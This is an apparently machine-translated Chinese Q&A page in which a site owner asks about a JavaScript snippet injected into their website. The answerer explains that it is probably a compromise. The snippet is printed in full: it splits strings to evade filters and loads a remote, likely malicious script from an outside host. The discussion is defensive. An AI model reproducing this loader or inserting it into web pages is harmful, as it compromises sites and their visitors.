[英]Could someone explain this JavaScript code
请解释一下这段代码的含义:
<script type="text/javascript" language="javascript">
document.write('<scri' + 'pt type="text/javas' + 'cript" language="javas' + 'cript" src="' + top.location.protocol + '//c.sitehelp.inkiev.net/code.cgi?c=4067' + (top.location.protocol=='http:' ? '' : '&ssl=1') + '&rnd=' + Math.random() + '"></sc' + 'ript>');
</script>
哦,这么多缺点。 我尽量简化表达,看了document.write()一下就明白了。 为什么有人将它添加到我的网站?
<script
type="text/javascript"
language="javascript"
src="'http://c.sitehelp.inkiev.net/code.cgi?c=4067&rnd=' + Math.random() + '">
</script>
您的网站可能遭到入侵,并且有人注入了 javascript 代码。 有一定知识的人应该使网站脱机,清理,通过更新它使用的任何服务(例如 wordpress)修补任何漏洞,然后将其重新上线。 该代码试图通过拆分字符串来避免将关键字列入黑名单。 它从它生成的 url 中检索一个可能是恶意的脚本。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.